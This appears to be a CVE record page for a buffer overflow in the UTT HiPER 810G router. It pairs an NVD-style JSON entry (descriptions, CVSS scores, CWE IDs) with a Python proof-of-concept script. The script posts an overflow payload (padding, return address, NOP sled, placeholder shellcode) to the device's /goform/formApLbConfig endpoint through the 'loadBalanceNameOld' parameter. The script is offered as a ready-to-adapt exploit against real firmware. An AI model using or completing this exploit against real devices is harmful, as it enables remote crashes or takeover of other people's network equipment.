CVE-2026-4318

import requests # CVE-2026-4318 PoC - UTT HiPER 810G Buffer Overflow # Target: /goform/formApLbConfig endpoint # Vulnerability: strcpy buffer overflow via loadBalanceNameOld parameter target_ip = "192.168.1.1" # Router IP target_url = f"http://{target_ip}/goform/formApLbConfig" # Prepare buffer overflow payload # Generate payload with NOP sled + shellcode + return address padding = b"A" * 64 # Offset to return address return_addr = b"\x42\x42\x42\x42" # Target address (needs adjustment) shellcode = b"\x90" * 20 + b"\xcc" * 50 # NOP sled + int3 (placeholder) payload = padding + return_addr + shellcode # Send malicious request data = { "loadBalanceNameOld": payload.decode('latin-1'), # Other parameters may be needed } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-4318", "sourceIdentifier": "[email protected]", "published": "2026-03-17T15:16:19.650", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in UTT HiPER 810G up to 1.7.7-171114. Affected is the function strcpy of the file /goform/formApLbConfig. This manipulation of the argument loadBalanceNameOld causes buffer overflow. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en UTT HiPER 810G hasta la versión 1.7.7-171114. Afecta a la función strcpy del archivo /goform/formApLbConfig. Esta manipulación del argumento loadBalanceNameOld causa desbordamiento de búfer. El ataque puede iniciarse remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://github.com/xiaoheshang404/cve/issues/1#issue-4026284809", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351362", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351362", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.772659", "source": "[email protected]"}]}}